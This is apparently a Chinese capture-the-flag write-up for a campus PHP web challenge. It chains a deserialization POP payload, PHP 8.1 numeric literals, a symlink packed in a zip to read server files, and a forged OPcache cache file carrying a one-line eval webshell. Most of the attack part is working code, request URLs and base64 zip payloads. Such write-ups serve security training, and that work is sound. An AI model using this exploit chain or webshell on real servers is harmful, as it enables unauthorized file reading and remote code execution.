0x00 序言
校赛出的一道php的wp,记录一下
0x01 解析
考点:反序列化、php8新特性、软链接读文件、opcache伪造
首先是反序列化,源码中给了A、B、C三个类,入口点是C的wakeup
,可以触发$this->file
的toString
,选择B类的toString触发。B类的toString是链式调用,可以用于触发get,跟进的B的get中的$func()
可以设置function属性位A类,触发其invoke,之后只要满足A类的number属性是next_challenge
即可,这里number是私有属性,编写pop的时候用构造函数赋值,payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class A { private $number; public function __construct(){ $this->number ="next_challenge"; } } class B{ public $fans; } class C{ public $file,$str; } $a=new C(); $a->file=new B(); $a->file->fans=new B(); $a->file->fans->function=new A();
echo(urlencode(serialize($a)));
|
1
| Congratulations!Next challenge is in final_challenge_.php.Your key is dgdr_09hsqhy8
|
根据回显进入final_challenge_.php,根据提示传参key得到源码,
1
| /final_challenge_.php?key=dgdr_09hsqhy8
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php header("content-type:text/html;charset=utf-8"); error_reporting(0); include('Hint.php'); $action = $_GET['action']; $key = $_GET['key']; if(empty($key)) { echo 'Please enter the key.($key = $_GET[\'key\'])'; die(); } if (empty($action)&&md5($key)==="bde8186e47bad30bd8eca3cb72b4e4cd") { highlight_file(__FILE__); die(); } switch ($action) { case 0_1: phpinfo(); break; case 05_23: echo $HINT; break; case 0o2_23: exec('zip -r /tmp/you_can_read.zip *'); readfile('/tmp/you_can_read.zip'); break; case 011_255: $a=scandir('/var/www/html/'); var_dump($a); break; case 0x0_555: file_put_contents('/tmp/you_can_write.zip',base64_decode($_POST['data'])); break; case 0b1_1: exec('cd /tmp && unzip -o you_can_write.zip'); break;
} ?>
|
这里首先是一个php8.1的特性,可以使用obx等字符表示数字,以0b开头是二进制,0o或单独0开头是八进制,0x是十六进制,并且允许加入下划线,因此几个case对应
- 0_1 — 1
- 05_23 — 339
- 0b1_1 — 3
- 0x0_555 — 1365
- 011_255 — 4781
- 0o2_23 — 147
https://php.watch/versions/8.1/explicit-octal-notation
首先看HINT,action=339
1
| Read phpinfo carefully, you can use OPcache for RCE purposes.
|
提示使用OPcache来RCE,先到phpinfo中查看opcache的配置,可以看到缓存存储在tmp目录下,并且开启了时间戳验证
0x02 poc
总体思路是伪造一个opcache的缓存传输上去来RCE,根据配置可以知道缓存存储路径,如index.php就在 /tmp/[system_id]/var/www/html/index.php.bin
,而其中system_id需要通过当前Zend和PHP的版本号计算得出,同时为了通过时间戳验证,还需要读取下载题目环境上的.bin文件,system_id的计算虽然github上有脚本,但都是php7的版本,计算的system_id与题目不符合,因此需要本地使用docker搭建php8.2.2+apache来得到system_id,题目用的是最容易找到的镜像,根据回显报文,在dockerhub的php镜像中搜索8.2.2-apache的tag
本地拉取
1
| docker pull php:8.2.2-apache
|
创建容器
1
| docker run --name ez_test -d -p 5003:80 php:8.2.2-apache
|
进入容器
1
| docker exec -it 容器id /bin/bash
|
安装opcache
1
| docker-php-ext-install opcache
|
此时执行php -v,查看版本信息,出现下面说明安装成功
1 2 3 4
| PHP 8.2.2 (cli) (built: Feb 9 2023 05:32:15) (NTS) Copyright (c) The PHP Group Zend Engine v4.2.2, Copyright (c) Zend Technologies with Zend OPcache v8.2.2, Copyright (c), by Zend Technologies
|
开启opcahce并重启容器
1 2
| docker-php-ext-enable opcache.so docker restart 容器id
|
默认缓存目录就是tmp,不用修改,需要打开opcache.file_cache_only使得生成缓存,修改/usr/local/etc/php/php.ini-development
加入下面的配置,修改优先级,之后重启容器使其生效
1
| opcache.file_cache_only=1
|
此时去tmp目录下就可以发现有缓存生成,文件名即为system_id
1 2
| root@889641c397dc:/tmp# ls 8131f93e8d92a77c0a8ff12ef84b05b1
|
由于题目还开启了时间戳验证,因此需要读取题目的bin文件,可以读取index.php.bin,这里读取文件可以用软链接攻击
,由于题目会读取tmp下的you_can_read.zip,虽然会先执行打包当前目录,但当you_can_read.zip已经存在时不会覆盖,因此可以先创建一个软链接指向/tmp/8131f93e8d92a77c0a8ff12ef84b05b1/var/www/html/index.php.bin
然后将改软链接重命名成you_can_read.zip,再打包一层变为you_can_write.zip
1 2 3
| ln -s /tmp/8131f93e8d92a77c0a8ff12ef84b05b1/var/www/html/index.php.bin test zip -y you_can_write.zip you_can_read.zip cat you_can_write.zip|base64
|
1
| UEsDBAoAAAAAAEU0CVffxjBJQAAAAEAAAAAQABwAeW91X2Nhbl9yZWFkLnppcFVUCQAD4sLSZOLC0mR1eAsAAQT3AQAABBQAAAAvdG1wLzgxMzFmOTNlOGQ5MmE3N2MwYThmZjEyZWY4NGIwNWIxL3Zhci93d3cvaHRtbC9pbmRleC5waHAuYmluUEsBAh4DCgAAAAAARTQJV9/GMElAAAAAQAAAABAAGAAAAAAAAAAAAO2hAAAAAHlvdV9jYW5fcmVhZC56aXBVVAUAA+LC0mR1eAsAAQT3AQAABBQAAABQSwUGAAAAAAEAAQBWAAAAigAAAAAA
|
写入you_can_write.zip
1 2
| /final_challenge_.php?key=dgdr_09hsqhy8&action=1365 post: data=UEsDBAoAAAAAAEU0CVffxjBJQAAAAEAAAAAQABwAeW91X2Nhbl9yZWFkLnppcFVUCQAD4sLSZOLC0mR1eAsAAQT3AQAABBQAAAAvdG1wLzgxMzFmOTNlOGQ5MmE3N2MwYThmZjEyZWY4NGIwNWIxL3Zhci93d3cvaHRtbC9pbmRleC5waHAuYmluUEsBAh4DCgAAAAAARTQJV9/GMElAAAAAQAAAABAAGAAAAAAAAAAAAO2hAAAAAHlvdV9jYW5fcmVhZC56aXBVVAUAA+LC0mR1eAsAAQT3AQAABBQAAABQSwUGAAAAAAEAAQBWAAAAigAAAAAA
|
之后解压 /final_challenge_.php?key=dgdr_09hsqhy8&action=3
1 2 3
| case 0b1_1: exec('cd /tmp && unzip -o you_can_write.zip'); break;
|
再读取便可以得到题目的index.php.bin
/final_challenge_.php?key=dgdr_09hsqhy8&action=147
时间戳信息在第49字节处
在自己的实验容器中写一个一句话马index.php,访问得到其缓存index.php.bin,修改时间戳
1 2
| <?php eval($_POST['a']);
|
将docker内文件取出使用docker cp
最后放入目录 8131f93e8d92a77c0a8ff12ef84b05b1/var/www/html内,将目录8131f93e8d92a77c0a8ff12ef84b05b1
打包成you_can_write.zip写入
1 2 3 4 5 6 7 8 9 10 11 12
| (base) ➜ 🥣 desktop zip -r ./you_can_write.zip ./8131f93e8d92a77c0a8ff12ef84b051 adding: 8131f93e8d92a77c0a8ff12ef84b05b1/ (stored 0%) adding: 8131f93e8d92a77c0a8ff12ef84b05b1/.DS_Store (deflated 89%) adding: 8131f93e8d92a77c0a8ff12ef84b05b1/var/ (stored 0%) adding: 8131f93e8d92a77c0a8ff12ef84b05b1/var/.DS_Store (deflated 89%) adding: 8131f93e8d92a77c0a8ff12ef84b05b1/var/www/ (stored 0%) adding: 8131f93e8d92a77c0a8ff12ef84b05b1/var/www/.DS_Store (deflated 94%) adding: 8131f93e8d92a77c0a8ff12ef84b05b1/var/www/html/ (stored 0%) adding: 8131f93e8d92a77c0a8ff12ef84b05b1/var/www/html/.DS_Store (deflated 96%) adding: 8131f93e8d92a77c0a8ff12ef84b05b1/var/www/html/index.php.bin (deflated 68%) (base) ➜ 🥣 desktopcat you_can_write.zip|base64 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
|
将上面数据写入you_can_write.zip
1 2
| /final_challenge_.php?key=dgdr_09hsqhy8&action=1365 post: data=.......
|
之后解压 /final_challenge_.php?key=dgdr_09hsqhy8&action=3
此时再访问题目的index.php,已经被覆盖